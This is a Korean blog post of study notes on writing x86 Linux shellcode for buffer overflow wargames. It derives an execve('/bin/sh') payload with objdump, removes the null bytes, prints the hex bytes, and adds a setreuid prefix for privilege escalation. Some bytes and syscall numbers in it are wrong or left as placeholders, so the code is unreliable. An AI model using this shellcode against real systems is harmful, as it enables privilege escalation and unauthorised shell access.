[2] 쉘 코드 작성하기

2017. 6. 2. 18:59SystemHacking/System

 


 


해당 게시글의 내용은 해커스쿨-도서관 에서 다운받은 파일을 기반으로 저의 공부를 위해 작성했습니다

" 해커 지망자들이 알아야 할 Buffer Overflow Attack의 기초 " By 달고나 님의 pdf의 사진과 글을 요약 정리했습니다


쉘 코드를 작성하는 원리와 방법에 대해서 알아보도록 하겠습니다



< 그림 1 >


[1] $vi sh.c

쉘 코드를 얻을 수 있는 소스파일을 작성합니다

execve() 함수는 바이너리 형태의 실행파일이나 스크립트 파일을 실행시키는 함수입니다

첫번째 인자는 파일이름 , 두번째 인자는 인자들의 포인터, 세번째 인자는 환경변수 포인터 입니다



< 그림 2 >


해당 소스파일을 컴파일 시킨 후 제대로 동작하나 확인해보았습니다

제대로 동작되는 것은 확인되었고, 먼저 execve()함수의 동작과정을 본 후 main()함수의 동작과정을 알아보겠습니다

먼저 execve()함수입니다



< 그림 3 >


[2] Static Link Library , objdump

실행파일에 execve()함수가 있어서 해당파일은 컴파일 되면서 Linux libc와 링크되게 된다

리눅스에서 함수는 기계어 코드를 libc에 저장해서 해당 함수에서 원하는 코드를 불러다 쓴다 ( Dynamic Link Library )

execve()함수가 어떤 일을 하는지 보려면 static옵션을 주어서 해당 함수가 기계어 코드를 가지게 한다 ( Static Link Library )

==> $gcc -static -g -o sh sh.c


objdump명령어는 해당 파일의 기계어 코드를 볼 수 있도록 출력한다 objdump를 이용해서 기계어 코드를 출력해보자

왼쪽은 주소를 나타내고 가운데는 기계어코드 오른쪽은 해당 기계어코드에 대한 어셈블리코드들입니다

execve함수가 어떤 동작을 하는지 자세히 알아보도록 하겠습니다



< 그림 4 >


[3] execve()함수

함수의 처음 Procedure prelude 과정 이후의 과정들( 노란박스 )을 살펴보겠습니다

정리해서 보면 다음과 같습니다

mov    0x8(%ebp) , %ebx         ==    ebp+8    -> %ebx

mov    0xc(%ebp) , %ecx          ==    ebp+12  -> %ecx

mov    0x10(%ebp) , %edx        ==    ebp+16  -> %edx 


위 코드들을 해석해보자면 우선, main()함수에서 execve() 실행 전 " call " 명령으로 다음 실행될 주소 ret를 PUSH

그리고 base pointer 를 PUSH 하였다 ( %ebp )

%ebp 에는 base pointer가 존재하고 ebp+4byte 지점에는 ret가 존재한다


ebp+8byte 지점에 있는 값을 %ebx로 이동시키고 ebp+12byte 지점에 있는 값을 %ecx로 이동시킨 후 

ebp+16byte 지점에 있는 값을 %edx로 이동시킨다

각 지점에 있는 값들은 ret와 base pointer 가 PUSH되전에 먼저 PUSH되었던 execve함수의 인자들이다 ( "/bin/sh" 과 NULL 과 0 )


< Stack Segment >

[ 0 ]

[ NULL ]

[ /bin/sh ]

[ ret ]

[ base pointer]


다음으로 시스템 콜( system call )을 실행한다

mov %0xb , %eax

int $0x80

11번 시스템 콜을 호출하기 위해 각 레지스터에 값을 채우고 시스템 콜을위한 인터럽트를 발생 시키는 과정이다

( 저도 이해 아직 못했습니다. 시스템 콜과정은그러려니 하고 넘어가도 될부분 같습니다)


그럼 이제 execve()함수가 실행되기 전에 main()함수에서 무슨 동작을 하는지 알아보겠습니다 



< 그림 5 >


[4] main()함수

이번에도 역시 objdump 명령어를 통해서 기계어를 출력시켰습니다

main()함수의 동작과정을 보시면 제일 먼저 " push %ebp " : main()함수의 base pointer를 PUSH 시킵니다

그리고 8byte만큼의 지역변수의 공간을 생성합니다

movl $0x808ef88 , 0xfffffff8(%ebp)    "미지의 값 A"를 ebp-8 주소에 저장시킵니다

movl $0x0 , 0xfffffffc(%ebp)             " NULL(0) " 을 ebp-12 주소에 저장시킵니다


미지의 값 A 가 무엇인지 아시겠나요?

처음 sh.c 코드를 작성했을 때 shell[0]="/bin/sh"과 shell[1]=NULL이 기억나시나요?

$0x808ef88 은 Data segment내부에 "/bin/sh"이 저장되어 있는 주소입니다

"/bin/sh"을 ebp-8지점에 저장시킨 것입니다. 그리고 아래쪽의 코드에 PUSH 명령 3개가 보이시죠?

execve()함수들의 인자의 역순으로 0 , 인자들의 포인터 , /bin/sh 이 PUSH되었고, call 명령이 실행됩니다


이해하기 쉽도록 Stack segment를 그려드리겠습니다


 < 그림 6 >


main()함수의 base pointer가 제일 먼저 push되었습니다. 그리고 각 주소에 mov 명령을 통해서 해당 값들이 들어갔습니다.

그리고 push 명령을 통해서 3개의 값들이 들어갔습니다. 이제 call 명령을 수행하고 execve() 함수가 실행됩니다

각 인자들을 %ebx, %ecx %edx 레지스터에 저장되고 execve()함수의 인자로써 사용됩니다




어느 정도 그림이 그려지시나요? 쉘을 띄우기 위한 과정을 정리해보면 다음과 같습니다

1> 스텍에 execve()함수를 실행시키기 위한 인자들을 배치한다

2> NULL 과 인자값의 포인터(/bin/sh의 주소)를 스텍에 푸쉬한다

3> 범용 레지스터에 해당 값들의 위치를 지정한다

4> system call 12를 호출하면 된다


쉘 생성 코드를 짜기에 앞서서 위의 코드에서는 /bin/sh이 Data segment의 특정 위치에 존재하고 있음을 알았기 때문에 주소를 이용 할 수 있었다

하지만 버퍼 오버 플로우 공격시점에 /bin/sh가 어느 지점에 저장되어 있는지 기대하기도 어렵고 있다고 하더라도 저장되어 있는 메모리 공간의 주소를 찾기도 어렵다. 

따라서 직접 /bin/sh 코드를 직접 넣어주어야 한다. 아래 그림을 보자

$vi sh01.c


< 그림 7 : 쉘 생성 코드 >


셀을 띄우기 위한 과정들을 모두 만족시켰습니다

NULL( push $0x0 ) 과 인자의 포인터( push %ebx ) 스택에 푸쉬하였고 각 값들을 레지스터에 저장해놓은 다음

시스템 콜을 실행시켰습니다. 해당 소스를 컴파일 하고 실행시킨 결과입니다. 쉘이 떨어졌습니다

 


< 그림 8 >


이제 이 쉘코드의 기계어 코드들을 char형 문자열로 전달할 것입니다. 여기서 문제가 발생합니다

" push 0x0 " 어셈블리 코드는 기계어 코드로 " 6a 00 " 입니다. 문자열로 전달하려할 때 char a[] = "\x6a\x00" 과 같이 써야합니다. 

하지만 문자열에서 " 0 " 을 만나면 그것은 문자열의 끝으로 인식되어 이후의 문자들은 무시되는 문제가 발생합니다

따라서 " 0x00 " 인 기계어 코드가 생성되지 않도록 코드를 만들어야합니다. 

위에서 짠 코드들의 일부를 수정하겠습니다.

$vi sh01.c


< 그림 9 >


NULL값을 eax레지스터에 저장시킨 다음 어셈블리코드에서의 0을 모두 eax 로 바꿔주었습니다

그리고 system call vector를 al 에 저장시켰습니다

이제 문자열로 변환시켜도 " 0x00 " 값은 없습니다 ! 이제부터 우리가 사용할 쉘 생성코드의 기계어코드를 확인합시다

기계어 코드가 무엇인지 objdump 명령어를 써서 확인하겠습니다



< 그림 10 >


컴파일 시킨 후 실행시켜보면 쉘이 생성되는 것을 확인 할 수 있습니다

$objdump -d sh01 | grep \<main\>: -A 20 명령어를 통해 main함수의 코드들을 보면 우리가 조작한 코드가 보일 것이다

" xor " 연산부터 시작해서 " int " 명령까지이다. 해당 기계어코드들을 사용하면 된다

해당 기계어 코드들을 문자열 배열로 넣기위해 16진수로 가공시켜야한다


< 쉘 생성코드(기계어) >

 

 "\x31\xc0"

 "\x50"

 "\x68\x2f\x2f\x73\x68"

 "\x68\x2f\x62\x69\x6e"

 "\x89\xe3"

 "\x50"

 "\x53"

 "\x89\xe1"

 "\x89\xc2"

 "\xb0\x0b"

 "\xcd\x80" 


 한줄로 써도 된다

"\x31\xc0\x50\x68\x2f\x24\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" 



이제 이 코드를 실행시켜 보자 쉘코드를 실행시키기 위해서는 보통 아래와 같은 프로그램을 작성한다 ㅡ 그림11

$vi gosh.c


< 그림 11  >


retAddr 주소에 왜 2를 더하고 그 주소값에 왜 sc를 넣는지 설명해드리겠습니다 

1장에서 공부했던 Stack segment 의 원리를 알고 있어야합니다.

main()함수가 call 되었을 때 Stack segment로 " return address " 가 push 되고 " base pointer(ebp) " 가 push됩니다

그리고 ebp 아래로 우리가 선언한 지역변수 인트형 포인터 " retAddr " 가 위치합니다 ( ebp - 4 주소부터 )

그럼 포인터 " retAddr + 2 " 연산을보면 포인터에 +1은 +4byte를 뜻하므로 ' +8byte ' 를 한것과 같습니다

따라서 포인터 " retAddr "은  " return address "주소를 가리키게됩니다. 그럼 이제 다 됫습니다

return address 가 위치하고 있는 주소에 sc 를 덮어 씌우는 작업입니다 

 *retAddr = sc    => 해당 주소의 값을 sc 로 대입하겠다는 식. 즉 RET주소의 값이 쉘 실행코드로 변질됬다



< 그림 12 >

쉘이 실행되는 모습을 확인 할 수 있습니다.



쉘 생성코드를 사용해서 쉘을 실행할 수 있게 되었다. 을 실행하긴 하지만 다른 사용자의 권한을 얻어오려면 어떻게 해야할까?

setreuid() 함수의 코드를 쉘 생성코드에 추가하면 원하는 계정의 권한을 가져올 수 있다

다음 소스코드를 보시죠 ( $vi sh02.c )


< 그림 13 >


setreuid()함수를 추가했습니다. ( 파일을 실행하면 3002의 권한으로 쉘이 떨어집니다 )

setreuid()함수는 어떻게 기계어 코드로 실행하는지 objdump 명령어로 찾아보도록 합시다



< 그림 14 >

$gcc -static -o sh02 sh02.c

$objdump -d sh02 | grep \<__setreuid\>: -A 30

 

 인터럽트를 호출하는 부분은 다음과 같습니다.

 89 c3                        // mov %eax,%ebx

 b8 46 00 00 00           // mov %0x46,%eax

 cd 80                        // int $0x80

 

 기계어 코드에서 " 00 " 은 제거해서 다시 작성해야합니다 

 ( 기계어와 어셈블러는 아직 미숙하여 잘 모르겟습니다... ) 

 이것을 위에서 만들었던 쉘 코드의 앞부분에 추가만 하면 됩니다 ㅡ 그림11의 코드작성 시 




<  최종 쉘 생성 코드 >


 "\xXX\xXX"               

 "\xXX\xXX"                                    // 여기 부분이 권한을 지정하는 부분으로 예상됨. 무엇인지는 모릅니다...죄송합니다

 "\xb0\x46"                                    // 여기서부터 

 "\xcd\x80"                                    // 이 코드까지 setreuid(3002,3002)함수의 시스템콜부분입니다     

 "\x31\xc0"

 "\x50"

 "\x68\x2f\x2f\x73\x68"

 "\x68\x2f\x62\x69\x6e"

 "\x89\xe3"

 "\x50"

 "\x53"

 "\x89\xe1"

 "\x89\xc2"

 "\xb0\x0b"

 "\xcd\x80"                                    // 여기까지 shell실행코드

 "x31\xc0\xb0\x01\xcd\x80"           // exit(0) 코드


 한줄로 써도 된다

 "\xXX\xXX\xXX\xXX\xb0\x46\xcd\x80

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

x31\xc0\xb0\x01\xcd\x80" 



setreuid() 부분은 원하는 계정의 UID에 따라서 바꿔 넣어주어야 해당 계정의 권한으로 쉘코드가 떨어집니다

이 쉘 실행코드를 가지고 있는 실행파일의 소유권과 setreuid설정 그리고 실행파일의 내부에서 setreuid()함수가 실행된 후 

쉘 생성코드가 실행되어야 원하는 계정의 권한으로 쉘이 떨어집니다 ( 세가지 조건이 만족되야 소유계정의 프로그램 권한을 그대로 상속받을 수 있다 )

ㅡ 해당 부분은 FTZ문제풀이( 버퍼오버플로우부분 ) 를 통해서 더 알아보도록 합시다


이제 버퍼 오버플로우의 취약점을 가진 프로그램에 이 쉘 생성 코드를 집어 넣어서 실행 시키는 방법을 알아보자 ㅡ [3]장으로